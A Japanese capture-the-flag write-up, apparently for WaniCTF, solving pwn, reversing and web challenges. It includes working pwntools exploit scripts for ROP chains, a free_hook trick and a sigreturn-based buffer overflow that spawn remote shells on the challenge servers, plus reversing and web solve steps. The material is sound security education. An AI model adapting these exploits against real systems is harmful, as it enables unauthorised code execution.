03 rop machine easy

nc rop-easy.pwn.wanictf.org 9003
ヒント
・ropでsystem("/bin/sh")を実行して下さい。
・"/bin/sh"のアドレスは提供されています
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効

pwn-03-rop-machine-easy.zip

system("/bin/sh") が実行されるようにROPを組むだけ

$ nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}

FLAG{this-is-simple-return-oriented-programming}

04 rop machine normal

nc rop-normal.pwn.wanictf.org 9004
ヒント
・ropでexecve("/bin/sh", 0, 0)を実行して下さい。
・"/bin/sh"のアドレスは提供されています
・execveのsyscall番号は0x3bです。
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効

pwn-04-rop-machine-normal.zip

execve("/bin/sh", 0, 0) が実行されるように ROP を組むだけ

$ nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 5
"pop rax; ret" is appended
> 1
hex value?: 3b
0x000000000000003b is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}

FLAG{now-you-can-call-any-system-calls-with-syscall}

02 free hook

nc free.pwn.wanictf.org 9002
ヒント
・free_hookの仕組みを理解する必要があります。
使用ツール例
netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)無効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効

pwn-02-free-hook.zip

ソースコードを確認すると、以下のようになっている。

// snip

void command() {
  int cmd;
  int index;
  int ret;

  print_menu();
  cmd = get_int();
  printf("index?[0-9]: ");
  index = get_int();

  switch (cmd) {
    case 1:
      if (g_memos[index] != 0) {
        free(g_memos[index]);
        g_memos[index] = 0;
      }
      g_memos[index] = malloc(0x10);
      printf("memo?: ");
      ret = read(0, g_memos[index], 0x10 - 1);
      g_memos[index][ret] = 0;
      break;
    case 2:
      puts(g_memos[index]);
      break;
    case 9:
      free(g_memos[index]);
      g_memos[index] = 0;
      break;
    default:
      break;
  }
}

int main() {
  init();

  __free_hook = system;

  while (1) {
    command();
    list_memos();
  }
}

// snip

__free_hook に system のアドレスが入っているので、malloc で確保した領域に /bin/sh と書き込んで、free すれば system("/bin/sh") を実行することができる。

$ nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
ls 
chall
flag.txt
redir.sh
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

05 rop machine hard

nc rop-hard.pwn.wanictf.org 9005
ヒント
・ROPgadgetコマンドの使い方を覚えましょう。
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
netcat (nc)
ROPgadget
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効

pwn-05-rop-machine-hard.zip

ROPgadget を使って、execve("/bin/sh", 0, 0) の実行に必要なアドレスを収集する。

$ ROPgadget --binary pwn05 --re "pop rdi"
Gadgets information
============================================================
0x000000000040128a : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x0000000000401287 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x000000000040128d : mov ebp, esp ; pop rdi ; ret
0x000000000040128c : mov rbp, rsp ; pop rdi ; ret
0x000000000040128f : pop rdi ; ret
0x000000000040128b : push rbp ; mov rbp, rsp ; pop rdi ; ret

Unique gadgets found: 6
$ ROPgadget --binary pwn05 --re "pop rsi"
Gadgets information
============================================================
0x0000000000401611 : pop rsi ; pop r15 ; ret

Unique gadgets found: 1
$ ROPgadget --binary pwn05 --re "pop rdx"
Gadgets information
============================================================
0x0000000000401297 : cli ; push rbp ; mov rbp, rsp ; pop rdx ; ret
0x0000000000401294 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdx ; ret
0x000000000040129a : mov ebp, esp ; pop rdx ; ret
0x0000000000401299 : mov rbp, rsp ; pop rdx ; ret
0x000000000040129c : pop rdx ; ret
0x0000000000401298 : push rbp ; mov rbp, rsp ; pop rdx ; ret

Unique gadgets found: 6
$ ROPgadget --binary pwn05 --re "pop rax"
Gadgets information
============================================================
0x00000000004012a4 : cli ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x00000000004012a1 : endbr64 ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x00000000004012a7 : mov ebp, esp ; pop rax ; ret
0x00000000004012a6 : mov rbp, rsp ; pop rax ; ret
0x00000000004012a9 : pop rax ; ret
0x00000000004012a5 : push rbp ; mov rbp, rsp ; pop rax ; ret

Unique gadgets found: 6
$ ROPgadget --binary pwn05 --re "syscall"
Gadgets information
============================================================
0x00000000004012b1 : cli ; push rbp ; mov rbp, rsp ; syscall
0x00000000004012ae : endbr64 ; push rbp ; mov rbp, rsp ; syscall
0x00000000004012b4 : mov ebp, esp ; syscall
0x00000000004012b3 : mov rbp, rsp ; syscall
0x00000000004012b2 : push rbp ; mov rbp, rsp ; syscall
0x00000000004012b6 : syscall

Unique gadgets found: 6
$ ROPgadget --binary pwn05 --string "/bin/sh"
Strings information
============================================================
0x0000000000404078 : /bin/sh

あとは 04 rop machine normal と同じように、上記のアドレスを使って ROP を組むだけ

from pwn import *

ARCH = 'amd64'
FILE = './pwn05'
LIBC = ''
HOST = 'rop-hard.pwn.wanictf.org'
PORT = 9005

GDB_SCRIPT = '''
    break main
    continue
'''

def exploit(io, elf, libc, rop):
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '40128f') # pop rdi ; ret
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '404078') # /bin/sh
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '401611') # pop rsi ; pop r15 ; ret
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '000000') # 0
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '000000') # 0
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '40129c') # pop rdx ; ret
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '000000') # 0
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '4012a9') # pop rax ; ret
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '00003b') # 0x3b
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '4012b6') # syscall
    io.sendlineafter('> ', '0')

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/pwn-05-rop-machine-hard/pwn05'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 17 cached gadgets for './pwn05'
[+] Opening connection to rop-hard.pwn.wanictf.org on port 9005: Done
[*] Switching to interactive mode
     rop_arena
+--------------------+
| 0x000000000040128f |<- rop start
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012a9 |
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}

FLAG{y0ur-next-step-is-to-use-pwntools}

06 SuperROP

nc srop.pwn.wanictf.org 9006
・sigreturnを用いたROPでシェルを実行してください。
・sigreturnを使うとスタックの値でレジスタを書き換えることができます。
ヒント
https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325
https://docs.pwntools.com/en/latest/rop/srop.html

SROP に関する問題でした。 以下のサイトを参考に解きました。

ソースコードは、以下のようになっている。

#include <stdio.h>
#include <unistd.h>

void call_syscall() { __asm__("syscall; ret;"); }

void set_rax() { __asm__("mov $0xf, %rax; ret;"); }

int main() {
  char buff[50];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  printf("buff : %p\nCan you get the shell?\n", buff);
  read(0, buff, 0x200);
  return 0;
}

13行目の read のところでバッファオーバフローの脆弱性があるので、pattc と patto を使ってリターンアドレスまでのオフセットを求める。

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

gdb-peda$ run
Starting program: /root/workdir/pwn-06-srop/pwn06 
buff : 0x7fffffffe1c0
Can you get the shell?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b00360 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0x200 
RSI: 0x7fffffffe1c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x0 
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe208 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RIP: 0x401213 (<main+124>:      ret)
R8 : 0x7ffff7fed740 (0x00007ffff7fed740)
R9 : 0x7ffff7fed740 (0x00007ffff7fed740)
R10: 0x7fffffffdf80 --> 0x0 
R11: 0x246 
R12: 0x401090 (<_start>:        endbr64)
R13: 0x7fffffffe2e0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401208 <main+113>: call   0x401080 <read@plt>
   0x40120d <main+118>: mov    eax,0x0
   0x401212 <main+123>: leave  
=> 0x401213 <main+124>: ret    
   0x401214:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x40121e:    xchg   ax,ax
   0x401220 <__libc_csu_init>:  endbr64 
   0x401224 <__libc_csu_init+4>:        push   r15
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe208 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0008| 0x7fffffffe210 ("AJAAfAA5AAKAAgAA6AAL\n")
0016| 0x7fffffffe218 ("AAKAAgAA6AAL\n")
0024| 0x7fffffffe220 --> 0xa4c414136 ('6AAL\n')
0032| 0x7fffffffe228 --> 0x401197 (<main>:      endbr64)
0040| 0x7fffffffe230 --> 0x0 
0048| 0x7fffffffe238 --> 0x19db69bec57df68e 
0056| 0x7fffffffe240 --> 0x401090 (<_start>:    endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401213 in main ()
gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

72文字でリターンアドレスが書き換わることが判明した。
次に SROP に必要なアドレスを ROPgadget で収集する。

$ ROPgadget --binary pwn06 --re "mov rax"
Gadgets information
============================================================
0x000000000040118a : mov ebp, esp ; mov rax, 0xf ; ret
0x000000000040118c : mov rax, 0xf ; ret

Unique gadgets found: 2

$ ROPgadget --binary pwn06 --re "syscall"
Gadgets information
============================================================
0x0000000000401179 : cli ; push rbp ; mov rbp, rsp ; syscall
0x0000000000401176 : endbr64 ; push rbp ; mov rbp, rsp ; syscall
0x000000000040117c : mov ebp, esp ; syscall
0x000000000040117b : mov rbp, rsp ; syscall
0x000000000040117a : push rbp ; mov rbp, rsp ; syscall
0x000000000040117e : syscall

Unique gadgets found: 6

$ ROPgadget --binary pwn06 --string "/bin/sh"
Strings information
============================================================

/bin/sh は見つからなかった。pwn06は、実行時にバッファのアドレスを表示してくれるので、バッファの先頭に /bin/sh を書いておくことにした。

必要な情報が揃ったので、後は上記の2つの参考サイトと同じように payload を組んで実行すると、シェルを取ることができた。

from pwn import *

ARCH = 'amd64'
FILE = './pwn06'
LIBC = ''
HOST = 'srop.pwn.wanictf.org'
PORT = 9006

GDB_SCRIPT = '''
    break main
    continue
'''

def exploit(io, elf, libc, rop):
    offset = 72
    mov_rax_15_ret = 0x40118c # mov rax, 0xf ; ret
    syscall_ret = 0x40117e # syscall ; ret

    line = io.readline().decode().split(':')
    buff = int(line[-1], 16)
    log.info(f'buff: {buff:x}')

    payload = b'/bin/sh\0'
    payload = payload.ljust(offset, b'A')
    payload += pack(mov_rax_15_ret)
    payload += pack(syscall_ret)

    frame = SigreturnFrame(kernel="amd64")
    frame.rax = constants.SYS_execve
    frame.rdi = buff # /bin/sh
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall_ret
    payload += bytes(frame)

    log.info(hexdump(payload))

    io.sendlineafter('Can you get the shell?', payload)


def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/pwn-06-srop/pwn06'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 15 cached gadgets for './pwn06'
[+] Opening connection to srop.pwn.wanictf.org on port 9006: Done
[*] buff: 7fff45258890
[*] 00000000  2f 62 69 6e  2f 73 68 00  41 41 41 41  41 41 41 41  │/bin│/sh·│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  8c 11 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  7e 11 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │~·@·│····│····│····│
    00000060  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    000000c0  90 88 25 45  ff 7f 00 00  00 00 00 00  00 00 00 00  │··%E│····│····│····│
    000000d0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000e0  00 00 00 00  00 00 00 00  3b 00 00 00  00 00 00 00  │····│····│;···│····│
    000000f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000100  7e 11 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │~·@·│····│····│····│
    00000110  33 00 00 00  00 00 00 00  00 00 00 00  00 00 00 003···│····│····│····│
    00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000150
[*] Switching to interactive mode

$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

Reversing

secret

この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。
このバイナリを実行すると secret key を入力するように表示されます。
試しに「abcde」と入力してみると「Incorrect」と言われました。

$ file secret
secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped
 
$ sudo chmod +x secret
 
$ ./secret
...
Input secret key : abcde
Incorrect

$ ./secret
...
Input secret key : ??????
Correct! Flag is ??????

このバイナリが正しいと判断する secret key を見つけて読み込んでみましょう!
(secret key とフラグは別の文字列です)
(このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください)
ヒント :「表層解析」や「静的解析」を行うことで secret key が見つかるかも...?
表層解析ツール strings
静的解析ツール Ghidra

rev-secret.zip

strings をすると、パスワードらしき文字列が表示された。

$ strings secret

# snip

Input secret key :
Incorrect
wani_is_the_coolest_animals_in_the_world!
Correct! Flag is %s

# snip

secret 実行後にパスワードを入力すると、フラグが表示された。

$ ./secret

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

コマンドを間違えて、ソースコードも消しちゃった!
今残っているファイルだけで実行して頂けますか?
(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)
rev-execute.zip

main.s を確認すると、以下のようにいくつかの文字列をレジスタに入れている。

# snip

main:
.LFB0:
    .cfi_startproc
    endbr64
    pushq    %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq %rsp, %rbp
    .cfi_def_cfa_register 6
    subq $48, %rsp
    movq %fs:40, %rax
    movq %rax, -8(%rbp)
    xorl %eax, %eax
    movabsq  $7941081424088616006, %rax
    movabsq  $7311705455698409823, %rdx
    movq %rax, -48(%rbp)
    movq %rdx, -40(%rbp)
    movabsq  $3560223458505028963, %rax
    movabsq  $35295634984951667, %rdx
    movq %rax, -32(%rbp)
    movq %rdx, -24(%rbp)
    leaq -48(%rbp), %rax
    movq %rax, %rdi
    call print@PLT
    movl $0, %eax
    movq -8(%rbp), %rcx
    xorq %fs:40, %rcx
    je   .L3
    call __stack_chk_fail@PLT

# snip

レジスタに格納している値を文字列に変換すると、それがフラグになっていた。

from Crypto.Util.number import long_to_bytes

nums = [
    7941081424088616006,
    7311705455698409823,
    3560223458505028963,
    35295634984951667,
]

for n in nums:
    print(long_to_bytes(n).decode()[::-1], end='')
$ python3 solve.py 
FLAG{c4n_y0u_execu4e_th1s_fi1e}

FLAG{c4n_y0u_execu4e_th1s_fi1e}

Timer

フラグが出てくるまで待てますか?
super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...
GDBを使って動的解析してみるのはいかがでしょうか?
rev-timer.zip

Ghidra でデコンパイルしてみると、timer という名前の関数で長時間待機させていた。

f:id:tsalvia:20210503185752p:plain

この関数呼び出しを、NOP でつぶして実行すると、フラグが表示された。

e8 9c ff ff ff
↓
90 90 90 90 90
$ ./timer

  ████████╗██╗███╗   ███╗███████╗██████╗
  ╚══██╔══╝██║████╗ ████║██╔════╝██╔══██╗
     ██║   ██║██╔████╔██║█████╗  ██████╔╝
     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔══██╗
     ██║   ██║██║ ╚═╝ ██║███████╗██║  ██║
     ╚═╝   ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝

I'll show the flag when the timer is 0 seconds.

The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"

FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence

このプログラムは非常に強力なライセンス確認処理が実装されています。
ただ、今持っているライセンスファイルは間違っているようです。
正しいライセンスファイルを見つけて頂けますか?

$ ./licence key.dat
Failed to activate.

複雑な処理をシンボリック実行で解析してくれるツール「angr」を使えば簡単に解けるかも。

licence を Gdhidra でデコンパイルして確認してみると、以下の箇所でフラグをチェックしていた。

f:id:tsalvia:20210505123213p:plain

angr の find にフラグチェック後のアドレス(0x405e0d)を指定して実行すると、フラグが表示された。

import angr
import sys

base_addr = 0x400000
checked_addr = base_addr + 0x5e0d
bin_path = 'licence'
input_path = 'key.dat'
proj = angr.Project(bin_path, load_options={'auto_load_libs':False})

state = proj.factory.entry_state(args=[bin_path, input_path])
with open(input_path) as fp:
    content = fp.read()

simgr = proj.factory.simulation_manager(state)
simgr.explore(find=checked_addr)
state = simgr.found[0]
print(state.posix.dump_file_by_path(input_path))
$ python3 solve.py 
WARNING | 2021-05-01 20:39:34,050 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 73 unconstrained bytes referenced from 0x500030 (fopen+0x0 in extern-address space (0x30))
WARNING | 2021-05-01 20:39:34,250 | angr.state_plugins.posix | Trying to open unknown file b'key.dat' - created a symbolic file since ALL_FILES_EXIST is set
WARNING | 2021-05-01 20:39:34,391 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefee0 with 28 unconstrained bytes referenced from 0x500020 (fgets+0x0 in extern-address space (0x20))
WARNING | 2021-05-01 20:39:34,598 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefefd with 27 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28))
WARNING | 2021-05-01 20:39:34,599 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff20 with 8 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28))
WARNING | 2021-05-01 20:39:34,599 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff60 with 1 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28))
b'-----BEGIN LICENCE KEY-----\nFLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}\n'

Web

fake

偽物を見破れますか?
https://fake.web.wanictf.org/

https://fake.web.wanictf.org/ にアクセスすると、Link と書かれたボタンが大量に配置されていた。 どれか1つが本物らしい。

Chrome の DevTools を起動して、Console に以下を入力して、HTML内のURLをすべて抽出する。

urls = []
$$('*').forEach(element => {
  urls.push(element.src)
  urls.push(element.href)
  urls.push(element.url)
});
console.log(...new Set(urls))

f:id:tsalvia:20210503085530p:plain

抽出された https://fake.web.wanictf.org/144c9defac04969c7bfad8efaa8ea194.html にアクセスすると、フラグが表示された。

FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}

Wani Request 1

RequestBinを使ってみよう!!
https://request1.web.wanictf.org/
この問題ではあどみんちゃんから自分のサーバにアクセスしてもらう必要があります。
自前でサーバを用意するのが難しい方はRequestBinなどのサービスを利用してみましょう。
サーバが用意出来たらいよいよ本番です。
問題ページにアクセスし、あなたが用意したサーバのURLを送信してください。
送信するとあどみんちゃんの秘密のページにあなたの送信したURLのリンクが表示されます。
あどみんちゃんは表示されたリンクをクリックしてあなたのサーバにアクセスしてくれます。
あどみんちゃんからのアクセスを分析して秘密のページを探してみてください。

HINT1 : HTTP ヘッダー
HINT2 : xss問題ではありません。

RequestBin の Webhook を使ってリクエストを待ち受ける。 requestbin.com

RequestBin の URL を投稿して少し待つとリクエストが返ってくる。 referer を確認すると、以下のようになっていた。

http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/?url=https://2b1addb4d2029048c0fdc13b263bc790.m.pipedream.net/

http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/ にアクセスすると、フラグが書かれた。

FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}

exception

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
https://exception.web.wanictf.org/
web-exception.zip

hello.py を確認すると、以下のようになっていた。
例外を出させれば、フラグが表示されるようになっている。

import json
import os
import traceback

# HelloFunction(/hello)のコード
def lambda_handler(event, context):
    try:
        try:
            data = json.loads(event["body"])
        except Exception:
            data = {}
        if "name" in data:
            return {
                "statusCode": 200,
                "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}),
            }
        return {
            "statusCode": 400,
            "body": json.dumps(
                {
                    "error_message": "Bad Request",
                }
            ),
        }
    except Exception as e:
        error_message = traceback.format_exception_only(type(e), e)
        del event["requestContext"]["accountId"]
        del event["requestContext"]["resourceId"]
        return {
            "statusCode": 500,
            "body": json.dumps(
                {
                    "error_message": error_message,
                    "event": event,
                    "flag": os.environ.get("FLAG"),
                }
            ),
        }

data["name"] が文字列にならないようにすれば、例外になるはずなので、 curl{"name":[]} となるように POST してみると、エラーメッセージが返ってきた。

curl https://exception.web.wanictf.org/hello \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"name":[]}' \
    --silent \
| jq .

jq で整形して確認すると、末尾にフラグが書かれていた。

{
  "error_message": [
    "TypeError: can only concatenate str (not \"list\") to str\n"
  ],
  "event": {
    "resource": "/hello",
    "path": "/hello",
    "httpMethod": "POST",
    "headers": {
      "content-type": "application/json",
      "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com",
      "User-Agent": "Amazon CloudFront",
      "Via": "2.0 77ffb7fa0ceed0e909a8f69baef40302.cloudfront.net (CloudFront)",
      "X-Amz-Cf-Id": "TC9O1cfmNc8HQcdI_ql1Tc8XiUJJV6V67j9xrI8hIEyVH-02-zcHUQ==",
      "X-Amzn-Trace-Id": "Root=1-608d57ff-61204f91720c7998172a9357",
      "X-Forwarded-For": "14.3.175.134, 130.176.3.71",
      "X-Forwarded-Port": "443",
      "X-Forwarded-Proto": "https"
    },
    "multiValueHeaders": {
      "content-type": [
        "application/json"
      ],
      "Host": [
        "boakqtdih8.execute-api.us-east-1.amazonaws.com"
      ],
      "User-Agent": [
        "Amazon CloudFront"
      ],
      "Via": [
        "2.0 77ffb7fa0ceed0e909a8f69baef40302.cloudfront.net (CloudFront)"
      ],
